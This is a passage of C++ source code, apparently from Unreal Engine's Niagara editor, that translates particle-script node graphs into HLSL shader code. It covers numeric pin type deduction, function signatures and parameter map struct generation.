if (Results.bHLSLGenSucceeded && Results.MessageLog->NumErrors == 0)
{
Script->HlslOutput = Results.OutputHLSL;
// Create a shader compiler environment for the script that will be shared by all jobs from this script
TRefCountPtr<FShaderCompilerEnvironment> CompilerEnvironment = new FShaderCompilerEnvironment();
FString ShaderCode = NiagaraTranslator.GetTranslatedHLSL();
const bool bSynchronousCompile = false;
// Compile the shaders for the script.
NewShaderMap->Compile(Script, Item.ShaderMapId, CompilerEnvironment, NewCompilationOutput, Item.Platform, bSynchronousCompile, Item.bApply);
}
else
{
UE_LOG(LogNiagaraEditor, Warning, TEXT("%s"), TEXT("Niagara GPU Translation Failed!"));
TArray<TSharedRef<FTokenizedMessage>> Messages;
if (Results.MessageLog)
{
Messages.Append(Results.MessageLog->Messages);
}
for (TSharedRef<FTokenizedMessage> Message : Messages)
{
if (Message->GetSeverity() == EMessageSeverity::Info)
{
UE_LOG(LogNiagaraEditor, Log, TEXT("%s"), *Message->ToText().ToString());
}
else if (Message->GetSeverity() == EMessageSeverity::Warning || Message->GetSeverity() == EMessageSeverity::PerformanceWarning)
{
UE_LOG(LogNiagaraEditor, Warning, TEXT("%s"), *Message->ToText().ToString());
}
else if (Message->GetSeverity() == EMessageSeverity::Error || Message->GetSeverity() == EMessageSeverity::CriticalError)
{
UE_LOG(LogNiagaraEditor, Error, TEXT("%s"), *Message->ToText().ToString());
}
}
}
}
FNiagaraCompilationQueue::Get()->GetQueue().Empty();
}
void FNiagaraShaderQueueTickable::Tick(float DeltaSeconds)
{
ProcessQueue();
}
template<typename Action>
void TraverseGraphFromOutputDepthFirst(FHlslNiagaraTranslator& Compiler, const UEdGraphSchema_Niagara* Schema, UNiagaraNode* Node, Action& VisitAction, int32 VisitID)
{
if (Node->ShouldVisit(VisitID))
{
TArray<UEdGraphPin*> InputPins;
Node->GetInputPins(InputPins);
for (UEdGraphPin* InputPin : InputPins)
{
// TODO: Error here if there are multiple links or non-niagara nodes?
if (InputPin->LinkedTo.Num() == 1)
{
UNiagaraNode* LinkedNiagaraNode = Cast<UNiagaraNode>(InputPin->LinkedTo[0]->GetOwningNode());
if (LinkedNiagaraNode != nullptr)
{
TraverseGraphFromOutputDepthFirst(Compiler, Schema, LinkedNiagaraNode, VisitAction, VisitID);
}
}
}
VisitAction(Schema, Node);
}
}
void FixUpNumericPinsVisitor(FHlslNiagaraTranslator& Compiler, const UEdGraphSchema_Niagara* Schema, UNiagaraNode* Node)
{
// Fix up numeric input pins and keep track of numeric types to decide the output type.
TArray<FNiagaraTypeDefinition> InputTypes;
TArray<UEdGraphPin*> InputPins;
Node->GetInputPins(InputPins);
for (UEdGraphPin* InputPin : InputPins)
{
if (InputPin->PinType.PinCategory == UEdGraphSchema_Niagara::PinCategoryType)
{
FNiagaraTypeDefinition InputPinType = Schema->PinToTypeDefinition(InputPin);
// If the input pin is the generic numeric type set it to the type of the linked output pin which should have been processed already.
if (InputPinType == FNiagaraTypeDefinition::GetGenericNumericDef() && InputPin->LinkedTo.Num() == 1)
{
UEdGraphPin* InputPinLinkedPin = InputPin->LinkedTo[0];
FNiagaraTypeDefinition InputPinLinkedPinType = Schema->PinToTypeDefinition(InputPinLinkedPin);
if (InputPinLinkedPinType.IsValid())
{
// Only update the input pin type if the linked pin type is valid.
InputPin->PinType = Schema->TypeDefinitionToPinType(InputPinLinkedPinType);
InputPinType = InputPinLinkedPinType;
}
}
if (InputPinType == FNiagaraTypeDefinition::GetGenericNumericDef())
{
Compiler.Error(LOCTEXT("NumericPinError", "Unable to deduce type for numeric input pin."), Node, InputPin);
}
InputTypes.Add(InputPinType);
}
}
// Fix up numeric outputs based on the inputs.
if (InputTypes.Num() > 0 && Node->GetNumericOutputTypeSelectionMode() != ENiagaraNumericOutputTypeSelectionMode::None)
{
FNiagaraTypeDefinition OutputNumericType = FNiagaraTypeDefinition::GetNumericOutputType(InputTypes, Node->GetNumericOutputTypeSelectionMode());
if (OutputNumericType != FNiagaraTypeDefinition::GetGenericNumericDef())
{
TArray<UEdGraphPin*> OutputPins;
Node->GetOutputPins(OutputPins);
for (UEdGraphPin* OutputPin : OutputPins)
{
FNiagaraTypeDefinition OutputPinType = Schema->PinToTypeDefinition(OutputPin);
if (OutputPinType == FNiagaraTypeDefinition::GetGenericNumericDef())
{
OutputPin->PinType = Schema->TypeDefinitionToPinType(OutputNumericType);
}
}
}
}
}
void FixUpNumericPins(FHlslNiagaraTranslator& Compiler, const UEdGraphSchema_Niagara* Schema, UNiagaraNode* Node)
{
auto FixUpVisitor = [&](const UEdGraphSchema_Niagara* LSchema, UNiagaraNode* LNode) { FixUpNumericPinsVisitor(Compiler, LSchema, LNode); };
TraverseGraphFromOutputDepthFirst(Compiler, Schema, Node, FixUpVisitor, ++Compiler.VisitID);
}
/* Go through the graph and attempt to auto-detect the type of any numeric pins by working back from the leaves of the graph. Only change the types of pins, not FNiagaraVariables.*/
void PreprocessGraph(FHlslNiagaraTranslator& Compiler, const UEdGraphSchema_Niagara* Schema, UNiagaraGraph* Graph, UNiagaraNodeOutput* OutputNode)
{
if (OutputNode)
{
FixUpNumericPins(Compiler, Schema, OutputNode);
}
else
{
// This should never happen!
TArray<FStringFormatArg> Args;
Args.Add(FString::FromInt((int32)Compiler.GetTargetUsage()));
FString ErrorText = FString::Format(TEXT("Unable to preprocess graph due to missing output node of type '{0}'!"), Args);
Compiler.Error(FText::FromString(ErrorText), nullptr, nullptr);
}
}
/* Go through the graph and force any input nodes with Numeric types to a hard-coded type of float. This will allow modules and functions to compile properly.*/
void PreProcessGraphForInputNumerics(FHlslNiagaraTranslator& Compiler, const UEdGraphSchema_Niagara* Schema, UNiagaraGraph* Graph, TArray<FNiagaraVariable>& OutChangedNumericParams)
{
// Visit all input nodes
TArray<UNiagaraNodeInput*> InputNodes;
Graph->FindInputNodes(InputNodes);
for (UNiagaraNodeInput* InputNode : InputNodes)
{
// See if any of the output pins are of Numeric type. If so, force to floats.
TArray<UEdGraphPin*> OutputPins;
InputNode->GetOutputPins(OutputPins);
for (UEdGraphPin* OutputPin : OutputPins)
{
FNiagaraTypeDefinition OutputPinType = Schema->PinToTypeDefinition(OutputPin);
if (OutputPinType == FNiagaraTypeDefinition::GetGenericNumericDef())
{
OutputPin->PinType = Schema->TypeDefinitionToPinType(FNiagaraTypeDefinition::GetFloatDef());
}
}
// Record that we touched this variable for later cleanup and make sure that the
// variable's type now matches the pin.
if (InputNode->Input.GetType() == FNiagaraTypeDefinition::GetGenericNumericDef())
{
OutChangedNumericParams.Add(InputNode->Input);
InputNode->Input.SetType(FNiagaraTypeDefinition::GetFloatDef());
}
}
}
/* Should be called after all pins have been successfully auto-detected for type. This goes through and synchronizes any Numeric FNiagaraVarible outputs with the deduced pin type. This will allow modules and functions to compile properly.*/
void PreProcessGraphForAttributeNumerics(FHlslNiagaraTranslator& Compiler, const UEdGraphSchema_Niagara* Schema, UNiagaraGraph* Graph, UNiagaraNodeOutput* OutputNode, TArray<FNiagaraVariable>& OutChangedNumericParams)
{
// Visit the output node
if (OutputNode != nullptr)
{
// For each pin, make sure that if it has a valid type, but the associated variable is still Numeric,
// force the variable to match the pin's new type. Record that we touched this variable for later cleanup.
TArray<UEdGraphPin*> InputPins;
OutputNode->GetInputPins(InputPins);
check(OutputNode->Outputs.Num() == InputPins.Num());
for (int32 i = 0; i < InputPins.Num(); i++)
{
FNiagaraVariable& Param = OutputNode->Outputs[i];
UEdGraphPin* InputPin = InputPins[i];
FNiagaraTypeDefinition InputPinType = Schema->PinToTypeDefinition(InputPin);
if (Param.GetType() == FNiagaraTypeDefinition::GetGenericNumericDef() &&
InputPinType != FNiagaraTypeDefinition::GetGenericNumericDef())
{
OutChangedNumericParams.Add(Param);
Param.SetType(InputPinType);
}
}
}
}
/* Clean up the lingering Systems of PreProcessGraphForInputNumerics and PreProcessGraphForAttributeNumerics by resetting the FNiagaraVariables back to their original types.*/
void RevertParametersToNumerics(FHlslNiagaraTranslator& Compiler, UNiagaraScript* Script, const TArray<FNiagaraVariable>& ChangedNumericParams)
{
// We either changed an input node variable or an output node variable in the prior functions, let's
// check where those ended up and fixup any discrepencies.
for (const FNiagaraVariable& ChangedVariable : ChangedNumericParams)
{
// Check input variables...
FNiagaraVariable* CorrespondingVariable = Script->Parameters.FindParameter(ChangedVariable);
if (CorrespondingVariable == nullptr)
{
// Check output variables...
CorrespondingVariable = Script->Attributes.FindByPredicate([&](FNiagaraVariable& Attribute) { return Attribute.GetName() == ChangedVariable.GetName(); });
}
// Convert back to Numeric so that we maintain consistency externally.
if (CorrespondingVariable != nullptr)
{
check(ChangedVariable.GetType() == FNiagaraTypeDefinition::GetGenericNumericDef());
CorrespondingVariable->SetType(ChangedVariable.GetType());
}
else
{
// This should never happen!
TArray<FStringFormatArg> Args;
Args.Add(ChangedVariable.ToString());
FString ErrorText = FString::Format(TEXT("Unable to find parameter '{0}' in outputs!"), Args);
Compiler.Error(FText::FromString(ErrorText), nullptr, nullptr);
}
}
}
void PreprocessFunctionGraph(FHlslNiagaraTranslator& Compiler, const UEdGraphSchema_Niagara* Schema, UNiagaraGraph* Graph, const TArray<UEdGraphPin*>& CallInputs, const TArray<UEdGraphPin*>& CallOutputs, ENiagaraScriptUsage ScriptUsage)
{
// Change any numeric inputs or outputs to match the types from the call node.
TArray<UNiagaraNodeInput*> InputNodes;
// Only handle nodes connected to the correct output node in the event of multiple output nodes in the graph.
UNiagaraGraph::FFindInputNodeOptions Options;
Options.bFilterByScriptUsage = true;
Options.TargetScriptUsage = ScriptUsage;
Graph->FindInputNodes(InputNodes, Options);
for (UNiagaraNodeInput* InputNode : InputNodes)
{
FNiagaraVariable& Input = InputNode->Input;
if (Input.GetType() == FNiagaraTypeDefinition::GetGenericNumericDef())
{
UEdGraphPin* const* MatchingPin = CallInputs.FindByPredicate([&](const UEdGraphPin* Pin) { return *(Pin->PinName) == Input.GetName(); });
if (MatchingPin != nullptr)
{
FNiagaraTypeDefinition PinType = Schema->PinToTypeDefinition(*MatchingPin);
Input.SetType(PinType);
TArray<UEdGraphPin*> OutputPins;
InputNode->GetOutputPins(OutputPins);
check(OutputPins.Num() == 1);
OutputPins[0]->PinType = (*MatchingPin)->PinType;
}
}
}
UNiagaraNodeOutput* OutputNode = Graph->FindOutputNode(ScriptUsage);
check(OutputNode);
TArray<UEdGraphPin*> InputPins;
OutputNode->GetInputPins(InputPins);
for (FNiagaraVariable& Output : OutputNode->Outputs)
{
if (Output.GetType() == FNiagaraTypeDefinition::GetGenericNumericDef())
{
UEdGraphPin* const* MatchingPin = CallOutputs.FindByPredicate([&](const UEdGraphPin* Pin) { return *(Pin->PinName) == Output.GetName(); });
if (MatchingPin != nullptr)
{
FNiagaraTypeDefinition PinType = Schema->PinToTypeDefinition(*MatchingPin);
Output.SetType(PinType);
}
}
}
FixUpNumericPins(Compiler, Schema, OutputNode);
}
ENiagaraScriptCompileStatus FNiagaraTranslateResults::TranslateResultsToSummary(const FNiagaraTranslateResults* TranslateResults)
{
ENiagaraScriptCompileStatus SummaryStatus = ENiagaraScriptCompileStatus::NCS_Unknown;
if (TranslateResults != nullptr)
{
if (TranslateResults->MessageLog->NumErrors > 0)
{
SummaryStatus = ENiagaraScriptCompileStatus::NCS_Error;
}
else
{
if (TranslateResults->bHLSLGenSucceeded)
{
if (TranslateResults->MessageLog->NumWarnings)
{
SummaryStatus = ENiagaraScriptCompileStatus::NCS_UpToDateWithWarnings;
}
else
{
SummaryStatus = ENiagaraScriptCompileStatus::NCS_UpToDate;
}
}
}
}
return SummaryStatus;
}
FString FHlslNiagaraTranslator::GetCode(int32 ChunkIdx)
{
FNiagaraCodeChunk& Chunk = CodeChunks[ChunkIdx];
return GetCode(Chunk);
}
FString FHlslNiagaraTranslator::GetCode(FNiagaraCodeChunk& Chunk)
{
TArray<FStringFormatArg> Args;
for (int32 i = 0; i < Chunk.SourceChunks.Num(); ++i)
{
Args.Add(GetCodeAsSource(Chunk.SourceChunks[i]));
}
FString DefinitionString = FString::Format(*Chunk.Definition, Args);
FString FinalString;
if (Chunk.Mode == ENiagaraCodeChunkMode::Body)
{
FinalString += TEXT("\t");
}
if (Chunk.SymbolName.IsEmpty())
{
check(!DefinitionString.IsEmpty());
FinalString += DefinitionString + (Chunk.bIsTerminated ? TEXT(";\n") : TEXT("\n"));
}
else
{
if (DefinitionString.IsEmpty())
{
check(Chunk.bDecl);//Otherwise, we're doing nothing here.
FinalString += GetStructHlslTypeName(Chunk.Type) + TEXT(" ") + Chunk.SymbolName + TEXT(";\n");
}
else
{
if (Chunk.bDecl)
{
FinalString += GetStructHlslTypeName(Chunk.Type) + TEXT(" ") + Chunk.SymbolName + TEXT(" = ") + DefinitionString + TEXT(";\n");
}
else
{
FinalString += Chunk.SymbolName + TEXT(" = ") + DefinitionString + TEXT(";\n");
}
}
}
return FinalString;
}
FString FHlslNiagaraTranslator::GetCodeAsSource(int32 ChunkIdx)
{
if(ChunkIdx>=0 && ChunkIdx<CodeChunks.Num())
{
FNiagaraCodeChunk& Chunk = CodeChunks[ChunkIdx];
return Chunk.SymbolName;
}
return "Undefined";
}
bool FHlslNiagaraTranslator::ValidateTypePins(UNiagaraNode* NodeToValidate)
{
bool bPinsAreValid = true;
for (UEdGraphPin* Pin : NodeToValidate->GetAllPins())
{
if (Pin->PinType.PinCategory == "")
{
Error(LOCTEXT("InvalidPinTypeError", "Node pin has an undefined type."), NodeToValidate, Pin);
bPinsAreValid = false;
}
else if (Pin->PinType.PinCategory == UEdGraphSchema_Niagara::PinCategoryType)
{
FNiagaraTypeDefinition Type = Schema->PinToTypeDefinition(Pin);
if (Type.IsValid() == false)
{
Error(LOCTEXT("InvalidPinTypeError", "Node pin has an undefined type."), NodeToValidate, Pin);
bPinsAreValid = false;
}
}
}
return bPinsAreValid;
}
void FHlslNiagaraTranslator::GenerateFunctionSignature(ENiagaraScriptUsage ScriptUsage, FString InName, const FString& InFullName, UNiagaraGraph* FuncGraph, TArray<int32>& Inputs, bool bHadNumericInputs, FNiagaraFunctionSignature& OutSig)const
{
TArray<FNiagaraVariable> InputVars;
// Only handle nodes connected to the correct output node in the event of multiple output nodes in the graph.
TArray<UNiagaraNodeInput*> InputsNodes;
UNiagaraGraph::FFindInputNodeOptions Options;
Options.bSort = true;
Options.bFilterDuplicates = true;
Options.bFilterByScriptUsage = true;
Options.TargetScriptUsage = ScriptUsage;
FuncGraph->FindInputNodes(InputsNodes, Options);
if (Inputs.Num() != InputsNodes.Num())
{
const_cast<FHlslNiagaraTranslator*>(this)->Error(FText::Format(LOCTEXT("GenerateFunctionSignatureFail", "Generating function signature for {0} failed. The function graph is invalid."), FText::FromString(InFullName)), nullptr, nullptr);
return;
}
for (int32 i = 0; i < InputsNodes.Num(); ++i)
{
//Only add to the signature if the caller has provided it, otherwise we use a local default.
if (Inputs[i] != INDEX_NONE)
{
InputVars.Add(InputsNodes[i]->Input);
if (bHadNumericInputs)
{
InName += TEXT("_In") + InputsNodes[i]->Input.GetType().GetName();
}
}
}
//Now actually remove the missing inputs so they match the signature.
Inputs.Remove(INDEX_NONE);
TArray<FNiagaraVariable> OutputVars;
FuncGraph->GetOutputNodeVariables(ScriptUsage, OutputVars);
for (int32 i = 0; i < OutputVars.Num(); ++i)
{
//Only add to the signature if the caller has provided it, otherwise we use a local default.
if (bHadNumericInputs)
{
InName += TEXT("_Out") + OutputVars[i].GetType().GetName();
}
}
const FString* ModuleAliasStr = ActiveHistoryForFunctionCalls.GetModuleAlias();
const FString* EmitterAliasStr = ActiveHistoryForFunctionCalls.GetEmitterAlias();
// For now, we want each module call to be unique due to parameter maps and aliasing causing different variables
// to be written within each call.
if ((ScriptUsage == ENiagaraScriptUsage::Module || ScriptUsage == ENiagaraScriptUsage::DynamicInput ||
ScriptUsage == ENiagaraScriptUsage::EmitterSpawnScript || ScriptUsage == ENiagaraScriptUsage::EmitterUpdateScript)
&& (ModuleAliasStr != nullptr || EmitterAliasStr != nullptr))
{
FString SignatureName;
if (ModuleAliasStr != nullptr)
{
SignatureName = GetSanitizedSymbolName(*ModuleAliasStr);
}
if (EmitterAliasStr != nullptr)
{
FString Prefix = ModuleAliasStr != nullptr ? TEXT("_") : TEXT("");
SignatureName += Prefix + GetSanitizedSymbolName(*EmitterAliasStr);
}
SignatureName = SignatureName.Replace(TEXT("."), TEXT("_"));
OutSig = FNiagaraFunctionSignature(*SignatureName, InputVars, OutputVars, *InFullName, true, false);
}
else
{
OutSig = FNiagaraFunctionSignature(*InName, InputVars, OutputVars, *InFullName, true, false);
}
}
//////////////////////////////////////////////////////////////////////////
FHlslNiagaraTranslator::FHlslNiagaraTranslator()
: Script(nullptr)
, Schema(nullptr)
, TranslateResults(&MessageLog)
, bInsideInterpolatedSpawnScript(false)
, VisitID(INDEX_NONE)
{
// Make the message log silent so we're not spamming the blueprint log.
MessageLog.bSilentMode = true;
}
FString FHlslNiagaraTranslator::GetFunctionDefinitions()
{
FString FwdDeclString;
FString DefinitionsString;
for (TPair<FNiagaraFunctionSignature, FString> FuncPair : Functions)
{
FString Sig = GetFunctionSignature(FuncPair.Key);
FwdDeclString += Sig + TEXT(";\n");
if (!FuncPair.Value.IsEmpty())
{
DefinitionsString += Sig + TEXT("\n{\n") + FuncPair.Value + TEXT("}\n\n");
}
// Don't do anything if the value is empty on the function pair, as this is indicative of
// data interface functions that should be defined differently.
}
return FwdDeclString + TEXT("\n") + DefinitionsString;
}
UNiagaraGraph* FHlslNiagaraTranslator::CloneGraphAndPrepareForCompilation(UNiagaraScript* InScript, UNiagaraScriptSource* InSource, bool bClearErrors)
{
if (InSource == nullptr)
{
Error(LOCTEXT("NoSourceErrorMessage", "Script has no source."), nullptr, nullptr);
return nullptr;
}
UNiagaraGraph* SourceGraph = InSource->GetPrecomputedNodeGraph();
check(SourceGraph != nullptr);
TArray<FNiagaraVariable> ChangedNumericParams;
// In the case of functions or modules, we may not have enough information at this time to fully resolve the type. In that case,
// we circumvent the resulting errors by forcing a type. This gives the user an appropriate level of type checking. We will, however need to clean this up in
// the parameters that we output.
bool bForceParametersToResolveNumerics = InScript->IsStandaloneScript();
if (bForceParametersToResolveNumerics)
{
PreProcessGraphForInputNumerics(*this, Schema, SourceGraph, ChangedNumericParams);
}
// Auto-deduce the input types for numerics in the graph and overwrite the types on the pins. If PreProcessGraphForInputNumerics occurred, then
// we will have pre-populated the inputs with valid types.
TArray<UNiagaraNodeOutput*> OutputNodes;
SourceGraph->FindOutputNodes(OutputNodes);
for (UNiagaraNodeOutput* OutputNode : OutputNodes)
{
PreprocessGraph(*this, Schema, SourceGraph, OutputNode);
// Now that we've auto-deduced the types, we need to handle any lingering Numerics in the Output's FNiagaraVariable outputs.
// We use the pin's deduced type to temporarily overwrite the variable's type.
if (bForceParametersToResolveNumerics)
{
PreProcessGraphForAttributeNumerics(*this, Schema, SourceGraph, OutputNode, ChangedNumericParams);
}
}
return SourceGraph;
}
FString FHlslNiagaraTranslator::BuildMissingDefaults(TArray<TPair<FNiagaraVariable, const UEdGraphPin*> >& MissingDefaults)
{
FString HlslOutputString = TEXT("void HandleMissingDefaultValues(inout FSimulationContext Context)\n{\n");
for (TPair<FNiagaraVariable, const UEdGraphPin*>& Item : MissingDefaults)
{
FNiagaraVariable Var = Item.Key;
const UEdGraphPin* DefaultPin = Item.Value;
if (Script->IsParticleSpawnScript() || Script->IsEmitterSpawnScript() || Script->IsSystemSpawnScript())
{
if (FNiagaraParameterMapHistory::IsInitialValue(Var))
{
FNiagaraVariable SourceForInitialValue = FNiagaraParameterMapHistory::GetSourceForInitialValue(Var);
FString ParameterMapInstanceName = GetParameterMapInstanceName(0);
HlslOutputString += TEXT("\t") + ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString() + TEXT(" = ") +
ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(SourceForInitialValue.GetName().ToString()) + TEXT(";"));
continue;
}
if (DefaultPin && DefaultPin->LinkedTo.Num() == 0)
{
FNiagaraVariable PinVar = Schema->PinToNiagaraVariable(DefaultPin, true);
FString ConstantValue = GenerateConstantString(PinVar);
if (Var.GetType().GetClass() == nullptr) // Only need to do this wiring for things that aren't data interfaces.
{
FString ParameterMapInstanceName = GetParameterMapInstanceName(0);
HlslOutputString += TEXT("\t") + ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString()) + TEXT(" = ") + ConstantValue + TEXT(";");
}
}
else if (DefaultPin)
{
Error(FText::Format(LOCTEXT("OnlySimpleDefaults", "Only simple constants are supported for defaults of primary values: {0}"), FText::FromName(Var.GetName())), nullptr, nullptr);
}
}
HlslOutputString += TEXT("\n");
}
HlslOutputString += TEXT("\n}\n");
return HlslOutputString;
}
FString FHlslNiagaraTranslator::BuildParameterMapHlslDefinitions(TArray<FNiagaraVariable>& PrimaryDataSetOutputEntries, TArray<TPair<FNiagaraVariable, const UEdGraphPin*> >& MissingDefaults)
{
FString HlslOutputString;
// Determine the unique parameter map structs...
TArray<const UEdGraphPin*> UniqueParamMapStartingPins;
for (int32 ParamMapIdx = 0; ParamMapIdx < ParamMapHistories.Num(); ParamMapIdx++)
{
const UEdGraphPin* OriginalPin = ParamMapHistories[ParamMapIdx].GetOriginalPin();
UniqueParamMapStartingPins.AddUnique(OriginalPin);
}
TArray<FNiagaraVariable> UniqueVariables;
// Add in currently defined system vars.
TArray<FNiagaraVariable> ValueArray;
ParamMapDefinedSystemToNamespaceVars.GenerateValueArray(ValueArray);
for (FNiagaraVariable& Var : ValueArray)
{
if (Var.GetType().GetClass() != nullptr)
{
continue;
}
UniqueVariables.AddUnique(Var);
}
// Add in currently defined emitter vars.
ParamMapDefinedEmitterParameterToNamespaceVars.GenerateValueArray(ValueArray);
for (FNiagaraVariable& Var : ValueArray)
{
if (Var.GetType().GetClass() != nullptr)
{
continue;
}
UniqueVariables.AddUnique(Var);
}
// Add in currently defined attribute vars.
ParamMapDefinedAttributesToNamespaceVars.GenerateValueArray(ValueArray);
for (FNiagaraVariable& Var : ValueArray)
{
if (Var.GetType().GetClass() != nullptr)
{
continue;
}
UniqueVariables.AddUnique(Var);
}
// Add in any bulk usage vars.
for (FNiagaraVariable& Var : ExternalVariablesForBulkUsage)
{
if (Var.GetType().GetClass() != nullptr)
{
continue;
}
UniqueVariables.AddUnique(Var);
}
// For now we only care about attributes from the other output parameter map histories.
for (int32 ParamMapIdx = 0; ParamMapIdx < OtherOutputParamMapHistories.Num(); ParamMapIdx++)
{
for (int32 VarIdx = 0; VarIdx < OtherOutputParamMapHistories[ParamMapIdx].Variables.Num(); VarIdx++)
{
FNiagaraVariable& Var = OtherOutputParamMapHistories[ParamMapIdx].Variables[VarIdx];
if (OtherOutputParamMapHistories[ParamMapIdx].IsPrimaryDataSetOutput(Var, Script))
{
int32 PreviousMax = UniqueVariables.Num();
if (UniqueVariables.AddUnique(Var) == PreviousMax) // i.e. we didn't find it previously, so we added to the end.
{
if (Script->IsParticleSpawnScript() || Script->IsEmitterSpawnScript() || Script->IsSystemSpawnScript())
{
if (!AddStructToDefinitionSet(Var.GetType()))
{
Error(FText::Format(LOCTEXT("ParameterMapTypeError", "Cannot handle type {0}! Variable: {1}"), Var.GetType().GetNameText(), FText::FromName(Var.GetName())), nullptr, nullptr);
}
if (FNiagaraParameterMapHistory::IsInitialValue(Var))
{
FNiagaraVariable SourceForInitialValue = FNiagaraParameterMapHistory::GetSourceForInitialValue(Var);
if (!UniqueVariables.Contains(SourceForInitialValue))
{
Error(FText::Format(LOCTEXT("MissingInitialValueSource", "Variable {0} is used, but its source variable {1} is not set!"), FText::FromName(Var.GetName()), FText::FromName(SourceForInitialValue.GetName())), nullptr, nullptr);
}
TPair<FNiagaraVariable, const UEdGraphPin*> Value;
Value.Key = Var;
Value.Value = nullptr;
MissingDefaults.Add(Value);
continue;
}
const UEdGraphPin* DefaultPin = OtherOutputParamMapHistories[ParamMapIdx].GetDefaultValuePin(VarIdx);
TPair<FNiagaraVariable, const UEdGraphPin*> Value;
Value.Key = Var;
Value.Value = DefaultPin;
MissingDefaults.Add(Value);
}
}
}
}
}
// Define all the top-level structs and look for sub-structs as yet undefined..
for (int32 UniqueParamMapIdx = 0; UniqueParamMapIdx < UniqueParamMapStartingPins.Num(); UniqueParamMapIdx++)
{
for (int32 ParamMapIdx = 0; ParamMapIdx < ParamMapHistories.Num(); ParamMapIdx++)
{
// We need to unify the variables across all the parameter maps that we've found during compilation. We
// define the parameter maps as the "same struct type" if they originate from the same input pin.
const UEdGraphPin* OriginalPin = ParamMapHistories[ParamMapIdx].GetOriginalPin();
if (OriginalPin != UniqueParamMapStartingPins[UniqueParamMapIdx])
{
continue;
}
for (int32 VarIdx = 0; VarIdx < ParamMapHistories[ParamMapIdx].Variables.Num(); VarIdx++)
{
const FNiagaraVariable& SrcVariable = ParamMapHistories[ParamMapIdx].Variables[VarIdx];
if (SrcVariable.GetType().GetClass() != nullptr)
{
continue;
}
FNiagaraVariable Variable = SrcVariable;
UniqueVariables.AddUnique(Variable);
}
}
}
TMap<FString, TArray<TPair<FString, FString>> > ParamStructNameToMembers;
TArray<FString> ParamStructNames;
for (int32 UniqueVarIdx = 0; UniqueVarIdx < UniqueVariables.Num(); UniqueVarIdx++)
{
int UniqueParamMapIdx = 0;
FNiagaraVariable Variable = UniqueVariables[UniqueVarIdx];
if (!AddStructToDefinitionSet(Variable.GetType()))
{
Error(FText::Format(LOCTEXT("ParameterMapTypeError", "Cannot handle type {0}! Variable: {1}"), Variable.GetType().GetNameText(), FText::FromName(Variable.GetName())), nullptr, nullptr);
}
// In order
for (int32 ParamMapIdx = 0; ParamMapIdx < OtherOutputParamMapHistories.Num(); ParamMapIdx++)
{
if (OtherOutputParamMapHistories[ParamMapIdx].IsPrimaryDataSetOutput(Variable, Script))
{
PrimaryDataSetOutputEntries.AddUnique(Variable);
break;
}
}
TArray<FString> StructNameArray;
int32 NumFound = Variable.GetName().ToString().ParseIntoArray(StructNameArray, TEXT("."));
if (NumFound == 1) // Meaning no split above
{
Error(FText::Format(LOCTEXT("OnlyOneNamespaceEntry", "Only one namespace entry found for: {0}"), FText::FromName(Variable.GetName())), nullptr, nullptr);
}
else if (NumFound > 1)
{
while (StructNameArray.Num())
{
FString FinalName = StructNameArray[StructNameArray.Num() - 1];
StructNameArray.RemoveAt(StructNameArray.Num() - 1);
FString StructType = FString::Printf(TEXT("FParamMap%d_%s"), UniqueParamMapIdx, *FString::Join<FString>(StructNameArray, TEXT("_")));
if (StructNameArray.Num() == 0)
{
StructType = FString::Printf(TEXT("FParamMap%d"), UniqueParamMapIdx);
}
FString TypeName = GetStructHlslTypeName(Variable.GetType());
FString VarName = GetSanitizedSymbolName(*FinalName);
if (NumFound > StructNameArray.Num() + 1 && StructNameArray.Num() != 0)
{
TypeName = FString::Printf(TEXT("FParamMap%d_%s_%s"), UniqueParamMapIdx, *FString::Join<FString>(StructNameArray, TEXT("_")), *GetSanitizedSymbolName(*FinalName));
}
else if (StructNameArray.Num() == 0)
{
TypeName = FString::Printf(TEXT("FParamMap%d_%s"), UniqueParamMapIdx, *GetSanitizedSymbolName(*FinalName));
}
TPair<FString, FString> Pair(TypeName, VarName);
ParamStructNameToMembers.FindOrAdd(StructType).AddUnique(Pair);
ParamStructNames.AddUnique(StructType);
}
}
}
// Build up the sub-structs..
ParamStructNames.Sort();
FString StructDefString = "";
for (int32 i = ParamStructNames.Num() - 1; i >= 0; i--)
{
const FString& StructName = ParamStructNames[i];
StructDefString += FString::Printf(TEXT("struct %s\n{\n"), *StructName);
TArray<TPair<FString, FString>> StructMembers = ParamStructNameToMembers[StructName];
auto SortMembers = [](const TPair<FString, FString>& A, const TPair<FString, FString>& B)
{
return A.Value < B.Value;
};
StructMembers.Sort(SortMembers);
for (const TPair<FString, FString>& Line : StructMembers)
{
StructDefString += TEXT("\t") + Line.Key + TEXT(" ") + Line.Value + TEXT(";\n");;
}
StructDefString += TEXT("};\n\n");
}
HlslOutputString += StructDefString;
return HlslOutputString;
}
bool FHlslNiagaraTranslator::ShouldConsiderTargetParameterMap(ENiagaraScriptUsage InUsage) const
{
ENiagaraScriptUsage TargetUsage = GetTargetUsage();
if (TargetUsage >= ENiagaraScriptUsage::ParticleSpawnScript && TargetUsage <= ENiagaraScriptUsage::ParticleEventScript)
{
return InUsage >= ENiagaraScriptUsage::ParticleSpawnScript && InUsage <= ENiagaraScriptUsage::ParticleEventScript;
}
else if (TargetUsage == ENiagaraScriptUsage::SystemSpawnScript)
{
if (InUsage == ENiagaraScriptUsage::SystemUpdateScript)
{
return true;
}
else if (TargetUsage == InUsage)
{
return true;
}
}
else if (TargetUsage == InUsage)
{
return true;
}
return false;
}
void FHlslNiagaraTranslator::HandleNamespacedExternalVariablesToDataSetRead(TArray<FNiagaraVariable>& InDataSetVars, FString InNamespaceStr)
{
for (const FNiagaraVariable& Var : ExternalVariablesForBulkUsage)
{
if (FNiagaraParameterMapHistory::IsInNamespace(Var, InNamespaceStr))
{
InDataSetVars.Add(Var);
}
}
}
const FNiagaraTranslateResults &FHlslNiagaraTranslator::Translate(UNiagaraScript* InScript, FHlslNiagaraTranslatorOptions Options)
{
check(InScript);
TranslationOptions = Options;
CompilationTarget = TranslationOptions.SimTarget;
TranslateResults.bHLSLGenSucceeded = false;
TranslateResults.OutputHLSL = "";
Script = InScript;
//Should we roll our own message/error log and put it in a window somewhere?
MessageLog.SetSourcePath(InScript->GetPathName());
UNiagaraGraph* SourceGraph = CloneGraphAndPrepareForCompilation(InScript, Cast<UNiagaraScriptSource>(InScript->GetSource()), true);
if (!SourceGraph)
{
